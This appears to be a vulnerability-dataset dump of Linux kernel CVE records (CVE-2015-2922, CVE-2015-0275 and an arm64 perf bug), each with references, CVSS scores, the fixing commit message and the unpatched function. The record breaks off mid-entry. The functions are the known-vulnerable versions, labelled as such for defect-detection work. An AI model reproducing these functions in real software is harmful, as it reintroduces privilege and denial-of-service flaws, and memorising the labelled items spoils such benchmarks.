[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8fff105e13041e49b82f92eef034f363a6b1c071', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8fff105e13041e49b82f92eef034f363a6b1c071', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'https://github.com/torvalds/linux/commit/8fff105e13041e49b82f92eef034f363a6b1c071', 'name': 'https://github.com/torvalds/linux/commit/8fff105e13041e49b82f92eef034f363a6b1c071', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Third Party Advisory']}, {'url': 'http://source.android.com/security/bulletin/2016-10-01.html', 'name': 'http://source.android.com/security/bulletin/2016-10-01.html', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/93314', 'name': '93314', 'refsource': 'BID', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.9', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'arch/arm64/kernel/perf_event.c in the Linux kernel before 4.1 on arm64 platforms allows local users to gain privileges or cause a denial of service (invalid pointer dereference) via vectors involving events that are mishandled during a span of multiple HW PMUs.'}]
2016-11-28T19:50Z
2016-10-10T10:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Suzuki K. Poulose
2015-03-17 18:14:59+00:00
arm64: perf: reject groups spanning multiple HW PMUs The perf core implicitly rejects events spanning multiple HW PMUs, as in these cases the event->ctx will differ. However this validation is performed after pmu::event_init() is called in perf_init_event(), and thus pmu::event_init() may be called with a group leader from a different HW PMU. The ARM64 PMU driver does not take this fact into account, and when validating groups assumes that it can call to_arm_pmu(event->pmu) for any HW event. When the event in question is from another HW PMU this is wrong, and results in dereferencing garbage. This patch updates the ARM64 PMU driver to first test for and reject events from other PMUs, moving the to_arm_pmu and related logic after this test. Fixes a crash triggered by perf_fuzzer on Linux-4.0-rc2, with a CCI PMU present: Bad mode in Synchronous Abort handler detected, code 0x86000006 -- IABT (current EL) CPU: 0 PID: 1371 Comm: perf_fuzzer Not tainted 3.19.0+ #249 Hardware name: V2F-1XV7 Cortex-A53x2 SMM (DT) task: ffffffc07c73a280 ti: ffffffc07b0a0000 task.ti: ffffffc07b0a0000 PC is at 0x0 LR is at validate_event+0x90/0xa8 pc : [<0000000000000000>] lr : [<ffffffc000090228>] pstate: 00000145 sp : ffffffc07b0a3ba0 [< (null)>] (null) [<ffffffc0000907d8>] armpmu_event_init+0x174/0x3cc [<ffffffc00015d870>] perf_try_init_event+0x34/0x70 [<ffffffc000164094>] perf_init_event+0xe0/0x10c [<ffffffc000164348>] perf_event_alloc+0x288/0x358 [<ffffffc000164c5c>] SyS_perf_event_open+0x464/0x98c Code: bad PC value Also cleans up the code to use the arm_pmu only when we know that we are dealing with an arm pmu event. Cc: Will Deacon <[email protected]> Acked-by: Mark Rutland <[email protected]> Acked-by: Peter Ziljstra (Intel) <[email protected]> Signed-off-by: Suzuki K. Poulose <[email protected]> Signed-off-by: Will Deacon <[email protected]>
8fff105e13041e49b82f92eef034f363a6b1c071
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
validate_group
validate_group( struct perf_event * event)
['event']
validate_group(struct perf_event *event) { struct perf_event *sibling, *leader = event->group_leader; struct pmu_hw_events fake_pmu; DECLARE_BITMAP(fake_used_mask, ARMPMU_MAX_HWEVENTS); /* * Initialise the fake PMU. We only need to populate the * used_mask for the purposes of validation. */ memset(fake_used_mask, 0, sizeof(fake_used_mask)); fake_pmu.used_mask = fake_used_mask; if (!validate_event(&fake_pmu, leader)) return -EINVAL; list_for_each_entry(sibling, &leader->sibling_list, group_entry) { if (!validate_event(&fake_pmu, sibling)) return -EINVAL; } if (!validate_event(&fake_pmu, event)) return -EINVAL; return 0; }
111
True
1
CVE-2015-2922
False
False
False
False
AV:A/AC:L/Au:N/C:N/I:N/A:P
ADJACENT_NETWORK
LOW
NONE
NONE
NONE
PARTIAL
3.3
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/6fd99094de2b83d1d4c8457f2c83483b2828e75a', 'name': 'https://github.com/torvalds/linux/commit/6fd99094de2b83d1d4c8457f2c83483b2828e75a', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/04/04/2', 'name': '[oss-security] 20150404 Re: CVE Request : IPv6 Hop limit lowering via RA messages', 'refsource': 'MLIST', 'tags': ['Exploit']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.6', 'refsource': 'CONFIRM', 'tags': ['Exploit', 'Vendor Advisory']}, {'url': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=6fd99094de2b83d1d4c8457f2c83483b2828e75a', 'name': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=6fd99094de2b83d1d4c8457f2c83483b2828e75a', 'refsource': 'CONFIRM', 'tags': ['Patch']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1203712', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1203712', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://www.debian.org/security/2015/dsa-3237', 'name': 'DSA-3237', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1564.html', 'name': 'RHSA-2015:1564', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155854.html', 'name': 'FEDORA-2015-6320', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155804.html', 'name': 'FEDORA-2015-6294', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155908.html', 'name': 'FEDORA-2015-6100', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/bulletinoct2015-2511968.html', 'name': 'http://www.oracle.com/technetwork/topics/security/bulletinoct2015-2511968.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/74315', 'name': '74315', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00023.html', 'name': 'SUSE-SU-2015:1224', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1534.html', 'name': 'RHSA-2015:1534', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032417', 'name': '1032417', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1221.html', 'name': 'RHSA-2015:1221', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-17'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.5', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:fedoraproject:fedora:22:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:fedoraproject:fedora:20:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:fedoraproject:fedora:21:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:oracle:linux:5.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:oracle:solaris:11.3:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_mrg:2.5:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The ndisc_router_discovery function in net/ipv6/ndisc.c in the Neighbor Discovery (ND) protocol implementation in the IPv6 stack in the Linux kernel before 3.19.6 allows remote attackers to reconfigure a hop-limit setting via a small hop_limit value in a Router Advertisement (RA) message.'}]
2021-07-15T19:15Z
2015-05-27T10:59Z
DEPRECATED: Code
This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.
https://cwe.mitre.org/data/definitions/17.html
1
D.S. Ljungmark
2015-03-25 09:28:15+01:00
ipv6: Don't reduce hop limit for an interface A local route may have a lower hop_limit set than global routes do. RFC 3756, Section 4.2.7, "Parameter Spoofing" > 1. The attacker includes a Current Hop Limit of one or another small > number which the attacker knows will cause legitimate packets to > be dropped before they reach their destination. > As an example, one possible approach to mitigate this threat is to > ignore very small hop limits. The nodes could implement a > configurable minimum hop limit, and ignore attempts to set it below > said limit. Signed-off-by: D.S. Ljungmark <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]>
6fd99094de2b83d1d4c8457f2c83483b2828e75a
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
ndisc_router_discovery
ndisc_router_discovery( struct sk_buff * skb)
['skb']
static void ndisc_router_discovery(struct sk_buff *skb) { struct ra_msg *ra_msg = (struct ra_msg *)skb_transport_header(skb); struct neighbour *neigh = NULL; struct inet6_dev *in6_dev; struct rt6_info *rt = NULL; int lifetime; struct ndisc_options ndopts; int optlen; unsigned int pref = 0; __u8 *opt = (__u8 *)(ra_msg + 1); optlen = (skb_tail_pointer(skb) - skb_transport_header(skb)) - sizeof(struct ra_msg); ND_PRINTK(2, info, "RA: %s, dev: %s\n", __func__, skb->dev->name); if (!(ipv6_addr_type(&ipv6_hdr(skb)->saddr) & IPV6_ADDR_LINKLOCAL)) { ND_PRINTK(2, warn, "RA: source address is not link-local\n"); return; } if (optlen < 0) { ND_PRINTK(2, warn, "RA: packet too short\n"); return; } #ifdef CONFIG_IPV6_NDISC_NODETYPE if (skb->ndisc_nodetype == NDISC_NODETYPE_HOST) { ND_PRINTK(2, warn, "RA: from host or unauthorized router\n"); return; } #endif /* * set the RA_RECV flag in the interface */ in6_dev = __in6_dev_get(skb->dev); if (in6_dev == NULL) { ND_PRINTK(0, err, "RA: can't find inet6 device for %s\n", skb->dev->name); return; } if (!ndisc_parse_options(opt, optlen, &ndopts)) { ND_PRINTK(2, warn, "RA: invalid ND options\n"); return; } if (!ipv6_accept_ra(in6_dev)) { ND_PRINTK(2, info, "RA: %s, did not accept ra for dev: %s\n", __func__, skb->dev->name); goto skip_linkparms; } #ifdef CONFIG_IPV6_NDISC_NODETYPE /* skip link-specific parameters from interior routers */ if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) { ND_PRINTK(2, info, "RA: %s, nodetype is NODEFAULT, dev: %s\n", __func__, skb->dev->name); goto skip_linkparms; } #endif if (in6_dev->if_flags & IF_RS_SENT) { /* * flag that an RA was received after an RS was sent * out on this interface. */ in6_dev->if_flags |= IF_RA_RCVD; } /* * Remember the managed/otherconf flags from most recently * received RA message (RFC 2462) -- yoshfuji */ in6_dev->if_flags = (in6_dev->if_flags & ~(IF_RA_MANAGED | IF_RA_OTHERCONF)) | (ra_msg->icmph.icmp6_addrconf_managed ? IF_RA_MANAGED : 0) | (ra_msg->icmph.icmp6_addrconf_other ? IF_RA_OTHERCONF : 0); if (!in6_dev->cnf.accept_ra_defrtr) { ND_PRINTK(2, info, "RA: %s, defrtr is false for dev: %s\n", __func__, skb->dev->name); goto skip_defrtr; } /* Do not accept RA with source-addr found on local machine unless * accept_ra_from_local is set to true. */ if (!in6_dev->cnf.accept_ra_from_local && ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr, NULL, 0)) { ND_PRINTK(2, info, "RA from local address detected on dev: %s: default router ignored\n", skb->dev->name); goto skip_defrtr; } lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime); #ifdef CONFIG_IPV6_ROUTER_PREF pref = ra_msg->icmph.icmp6_router_pref; /* 10b is handled as if it were 00b (medium) */ if (pref == ICMPV6_ROUTER_PREF_INVALID || !in6_dev->cnf.accept_ra_rtr_pref) pref = ICMPV6_ROUTER_PREF_MEDIUM; #endif rt = rt6_get_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev); if (rt) { neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr); if (!neigh) { ND_PRINTK(0, err, "RA: %s got default router without neighbour\n", __func__); ip6_rt_put(rt); return; } } if (rt && lifetime == 0) { ip6_del_rt(rt); rt = NULL; } ND_PRINTK(3, info, "RA: rt: %p lifetime: %d, for dev: %s\n", rt, lifetime, skb->dev->name); if (rt == NULL && lifetime) { ND_PRINTK(3, info, "RA: adding default router\n"); rt = rt6_add_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev, pref); if (rt == NULL) { ND_PRINTK(0, err, "RA: %s failed to add default route\n", __func__); return; } neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr); if (neigh == NULL) { ND_PRINTK(0, err, "RA: %s got default router without neighbour\n", __func__); ip6_rt_put(rt); return; } neigh->flags |= NTF_ROUTER; } else if (rt) { rt->rt6i_flags = (rt->rt6i_flags & ~RTF_PREF_MASK) | RTF_PREF(pref); } if (rt) rt6_set_expires(rt, jiffies + (HZ * lifetime)); if (ra_msg->icmph.icmp6_hop_limit) { in6_dev->cnf.hop_limit = ra_msg->icmph.icmp6_hop_limit; if (rt) dst_metric_set(&rt->dst, RTAX_HOPLIMIT, ra_msg->icmph.icmp6_hop_limit); } skip_defrtr: /* * Update Reachable Time and Retrans Timer */ if (in6_dev->nd_parms) { unsigned long rtime = ntohl(ra_msg->retrans_timer); if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/HZ) { rtime = (rtime*HZ)/1000; if (rtime < HZ/10) rtime = HZ/10; NEIGH_VAR_SET(in6_dev->nd_parms, RETRANS_TIME, rtime); in6_dev->tstamp = jiffies; inet6_ifinfo_notify(RTM_NEWLINK, in6_dev); } rtime = ntohl(ra_msg->reachable_time); if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/(3*HZ)) { rtime = (rtime*HZ)/1000; if (rtime < HZ/10) rtime = HZ/10; if (rtime != NEIGH_VAR(in6_dev->nd_parms, BASE_REACHABLE_TIME)) { NEIGH_VAR_SET(in6_dev->nd_parms, BASE_REACHABLE_TIME, rtime); NEIGH_VAR_SET(in6_dev->nd_parms, GC_STALETIME, 3 * rtime); in6_dev->nd_parms->reachable_time = neigh_rand_reach_time(rtime); in6_dev->tstamp = jiffies; inet6_ifinfo_notify(RTM_NEWLINK, in6_dev); } } } skip_linkparms: /* * Process options. */ if (!neigh) neigh = __neigh_lookup(&nd_tbl, &ipv6_hdr(skb)->saddr, skb->dev, 1); if (neigh) { u8 *lladdr = NULL; if (ndopts.nd_opts_src_lladdr) { lladdr = ndisc_opt_addr_data(ndopts.nd_opts_src_lladdr, skb->dev); if (!lladdr) { ND_PRINTK(2, warn, "RA: invalid link-layer address length\n"); goto out; } } neigh_update(neigh, lladdr, NUD_STALE, NEIGH_UPDATE_F_WEAK_OVERRIDE| NEIGH_UPDATE_F_OVERRIDE| NEIGH_UPDATE_F_OVERRIDE_ISROUTER| NEIGH_UPDATE_F_ISROUTER); } if (!ipv6_accept_ra(in6_dev)) { ND_PRINTK(2, info, "RA: %s, accept_ra is false for dev: %s\n", __func__, skb->dev->name); goto out; } #ifdef CONFIG_IPV6_ROUTE_INFO if (!in6_dev->cnf.accept_ra_from_local && ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr, NULL, 0)) { ND_PRINTK(2, info, "RA from local address detected on dev: %s: router info ignored.\n", skb->dev->name); goto skip_routeinfo; } if (in6_dev->cnf.accept_ra_rtr_pref && ndopts.nd_opts_ri) { struct nd_opt_hdr *p; for (p = ndopts.nd_opts_ri; p; p = ndisc_next_option(p, ndopts.nd_opts_ri_end)) { struct route_info *ri = (struct route_info *)p; #ifdef CONFIG_IPV6_NDISC_NODETYPE if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT && ri->prefix_len == 0) continue; #endif if (ri->prefix_len == 0 && !in6_dev->cnf.accept_ra_defrtr) continue; if (ri->prefix_len > in6_dev->cnf.accept_ra_rt_info_max_plen) continue; rt6_route_rcv(skb->dev, (u8 *)p, (p->nd_opt_len) << 3, &ipv6_hdr(skb)->saddr); } } skip_routeinfo: #endif #ifdef CONFIG_IPV6_NDISC_NODETYPE /* skip link-specific ndopts from interior routers */ if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) { ND_PRINTK(2, info, "RA: %s, nodetype is NODEFAULT (interior routes), dev: %s\n", __func__, skb->dev->name); goto out; } #endif if (in6_dev->cnf.accept_ra_pinfo && ndopts.nd_opts_pi) { struct nd_opt_hdr *p; for (p = ndopts.nd_opts_pi; p; p = ndisc_next_option(p, ndopts.nd_opts_pi_end)) { addrconf_prefix_rcv(skb->dev, (u8 *)p, (p->nd_opt_len) << 3, ndopts.nd_opts_src_lladdr != NULL); } } if (ndopts.nd_opts_mtu && in6_dev->cnf.accept_ra_mtu) { __be32 n; u32 mtu; memcpy(&n, ((u8 *)(ndopts.nd_opts_mtu+1))+2, sizeof(mtu)); mtu = ntohl(n); if (mtu < IPV6_MIN_MTU || mtu > skb->dev->mtu) { ND_PRINTK(2, warn, "RA: invalid mtu: %d\n", mtu); } else if (in6_dev->cnf.mtu6 != mtu) { in6_dev->cnf.mtu6 = mtu; if (rt) dst_metric_set(&rt->dst, RTAX_MTU, mtu); rt6_mtu_change(skb->dev, mtu); } } if (ndopts.nd_useropts) { struct nd_opt_hdr *p; for (p = ndopts.nd_useropts; p; p = ndisc_next_useropt(p, ndopts.nd_useropts_end)) { ndisc_ra_useropt(skb, p); } } if (ndopts.nd_opts_tgt_lladdr || ndopts.nd_opts_rh) { ND_PRINTK(2, warn, "RA: invalid RA options\n"); } out: ip6_rt_put(rt); if (neigh) neigh_release(neigh); }
1587
True
1
CVE-2015-0275
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/0f2af21aae11972fa924374ddcf52e88347cf5a8', 'name': 'https://github.com/torvalds/linux/commit/0f2af21aae11972fa924374ddcf52e88347cf5a8', 'refsource': 'CONFIRM', 'tags': ['Patch']}, {'url': 'http://www.spinics.net/lists/linux-ext4/msg47193.html', 'name': '[linux-ext4] 20150218 [PATCH] ext4: Allocate entire range in zero range', 'refsource': 'MLIST', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/02/23/14', 'name': '[oss-security] 20150223 CVE-2015-0275 -- Linux kernel: fs: ext4: fallocate zero range page size > block size BUG()', 'refsource': 'MLIST', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1193907', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1193907', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0f2af21aae11972fa924374ddcf52e88347cf5a8', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0f2af21aae11972fa924374ddcf52e88347cf5a8', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/75139', 'name': '75139', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://www.securitytracker.com/id/1034454', 'name': '1034454', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K05211147', 'name': 'https://support.f5.com/csp/article/K05211147', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-17'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:oracle:linux:7:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The ext4_zero_range function in fs/ext4/extents.c in the Linux kernel before 4.1 allows local users to cause a denial of service (BUG) via a crafted fallocate zero-range request.'}]
2019-12-27T16:08Z
2015-10-19T10:59Z
DEPRECATED: Code
This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.
https://cwe.mitre.org/data/definitions/17.html
1
Lukas Czerner
2015-04-03 00:09:13-04:00
ext4: allocate entire range in zero range Currently there is a bug in zero range code which causes zero range calls to only allocate block aligned portion of the range, while ignoring the rest in some cases. In some cases, namely if the end of the range is past i_size, we do attempt to preallocate the last nonaligned block. However this might cause kernel to BUG() in some carefully designed zero range requests on setups where page size > block size. Fix this problem by first preallocating the entire range, including the nonaligned edges and converting the written extents to unwritten in the next step. This approach will also give us the advantage of having the range to be as linearly contiguous as possible. Signed-off-by: Lukas Czerner <[email protected]> Signed-off-by: Theodore Ts'o <[email protected]>
0f2af21aae11972fa924374ddcf52e88347cf5a8
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
ext4_zero_range
ext4_zero_range( struct file * file , loff_t offset , loff_t len , int mode)
['file', 'offset', 'len', 'mode']
static long ext4_zero_range(struct file *file, loff_t offset, loff_t len, int mode) { struct inode *inode = file_inode(file); handle_t *handle = NULL; unsigned int max_blocks; loff_t new_size = 0; int ret = 0; int flags; int credits; int partial_begin, partial_end; loff_t start, end; ext4_lblk_t lblk; struct address_space *mapping = inode->i_mapping; unsigned int blkbits = inode->i_blkbits; trace_ext4_zero_range(inode, offset, len, mode); if (!S_ISREG(inode->i_mode)) return -EINVAL; /* Call ext4_force_commit to flush all data in case of data=journal. */ if (ext4_should_journal_data(inode)) { ret = ext4_force_commit(inode->i_sb); if (ret) return ret; } /* * Write out all dirty pages to avoid race conditions * Then release them. */ if (mapping->nrpages && mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) { ret = filemap_write_and_wait_range(mapping, offset, offset + len - 1); if (ret) return ret; } /* * Round up offset. This is not fallocate, we neet to zero out * blocks, so convert interior block aligned part of the range to * unwritten and possibly manually zero out unaligned parts of the * range. */ start = round_up(offset, 1 << blkbits); end = round_down((offset + len), 1 << blkbits); if (start < offset || end > offset + len) return -EINVAL; partial_begin = offset & ((1 << blkbits) - 1); partial_end = (offset + len) & ((1 << blkbits) - 1); lblk = start >> blkbits; max_blocks = (end >> blkbits); if (max_blocks < lblk) max_blocks = 0; else max_blocks -= lblk; flags = EXT4_GET_BLOCKS_CREATE_UNWRIT_EXT | EXT4_GET_BLOCKS_CONVERT_UNWRITTEN | EXT4_EX_NOCACHE; if (mode & FALLOC_FL_KEEP_SIZE) flags |= EXT4_GET_BLOCKS_KEEP_SIZE; mutex_lock(&inode->i_mutex); /* * Indirect files do not support unwritten extnets */ if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) { ret = -EOPNOTSUPP; goto out_mutex; } if (!(mode & FALLOC_FL_KEEP_SIZE) && offset + len > i_size_read(inode)) { new_size = offset + len; ret = inode_newsize_ok(inode, new_size); if (ret) goto out_mutex; /* * If we have a partial block after EOF we have to allocate * the entire block. */ if (partial_end) max_blocks += 1; } if (max_blocks > 0) { /* Now release the pages and zero block aligned part of pages*/ truncate_pagecache_range(inode, start, end - 1); inode->i_mtime = inode->i_ctime = ext4_current_time(inode); /* Wait all existing dio workers, newcomers will block on i_mutex */ ext4_inode_block_unlocked_dio(inode); inode_dio_wait(inode); ret = ext4_alloc_file_blocks(file, lblk, max_blocks, new_size, flags, mode); if (ret) goto out_dio; /* * Remove entire range from the extent status tree. * * ext4_es_remove_extent(inode, lblk, max_blocks) is * NOT sufficient. I'm not sure why this is the case, * but let's be conservative and remove the extent * status tree for the entire inode. There should be * no outstanding delalloc extents thanks to the * filemap_write_and_wait_range() call above. */ ret = ext4_es_remove_extent(inode, 0, EXT_MAX_BLOCKS); if (ret) goto out_dio; } if (!partial_begin && !partial_end) goto out_dio; /* * In worst case we have to writeout two nonadjacent unwritten * blocks and update the inode */ credits = (2 * ext4_ext_index_trans_blocks(inode, 2)) + 1; if (ext4_should_journal_data(inode)) credits += 2; handle = ext4_journal_start(inode, EXT4_HT_MISC, credits); if (IS_ERR(handle)) { ret = PTR_ERR(handle); ext4_std_error(inode->i_sb, ret); goto out_dio; } inode->i_mtime = inode->i_ctime = ext4_current_time(inode); if (new_size) { ext4_update_inode_size(inode, new_size); } else { /* * Mark that we allocate beyond EOF so the subsequent truncate * can proceed even if the new size is the same as i_size. */ if ((offset + len) > i_size_read(inode)) ext4_set_inode_flag(inode, EXT4_INODE_EOFBLOCKS); } ext4_mark_inode_dirty(handle, inode); /* Zero out partial block at the edges of the range */ ret = ext4_zero_partial_blocks(handle, inode, offset, len); if (file->f_flags & O_SYNC) ext4_handle_sync(handle); ext4_journal_stop(handle); out_dio: ext4_inode_resume_unlocked_dio(inode); out_mutex: mutex_unlock(&inode->i_mutex); return ret; }
645
True
1
CVE-2015-4177
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cd4a40174b71acd021877341684d8bb1dc8ea4ae', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cd4a40174b71acd021877341684d8bb1dc8ea4ae', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://openwall.com/lists/oss-security/2015/05/29/10', 'name': '[oss-security] 20150529 Re: CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://openwall.com/lists/oss-security/2015/05/29/5', 'name': '[oss-security] 20150529 CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/04/5', 'name': '[oss-security] 20150604 Re: Re: CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/cd4a40174b71acd021877341684d8bb1dc8ea4ae', 'name': 'https://github.com/torvalds/linux/commit/cd4a40174b71acd021877341684d8bb1dc8ea4ae', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 